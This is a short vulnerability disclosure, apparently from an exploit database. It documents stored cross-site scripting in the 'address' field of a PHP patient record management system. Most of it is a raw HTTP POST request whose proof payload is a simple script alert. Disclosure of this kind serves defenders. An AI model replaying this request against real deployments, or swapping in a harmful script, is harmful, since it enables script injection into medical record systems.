# Exploit Title: Health Center Patient Record Management System | 'address' param Stored Cross Site Scripting
# Exploit Author: Richard Jones
# Date: 2021-03-29
# Vendor Homepage: https://www.sourcecodester.com/php/11058/health-center-patient-record-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=11058&title=Health+Center+Patient+Record+Management+System+using+PHP+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

http://127.0.0.1/hcpms/admin/patient.php

POST /hcpms/admin/patient.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------39853461824084458643124946581
Content-Length: 2359
Origin: http://TARGET
Connection: close
Referer: http://TARGET/hcpms/admin/patient.php
Cookie: PHPSESSID=7iaa6u728l50ok9kj16upnbm5k
Upgrade-Insecure-Requests: 1

-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="itr_no"

9
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="family_no"


-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="firstname"

Tester
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="middlename"

Testermid
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="lastname"

Testerlast
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="month"

04
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="day"

06
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="year"

2013
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="phil_health_no"


-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="address"

<script>alert()</script>
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="age"

2
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="civil_status"

Single
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="gender"

Male
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="bp"

a
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="temp"

2
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="pr"

a
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="rr"

a
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="wt"

2
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="ht"

a
-----------------------------39853461824084458643124946581
Content-Disposition: form-data; name="save_patient"


-----------------------------39853461824084458643124946581--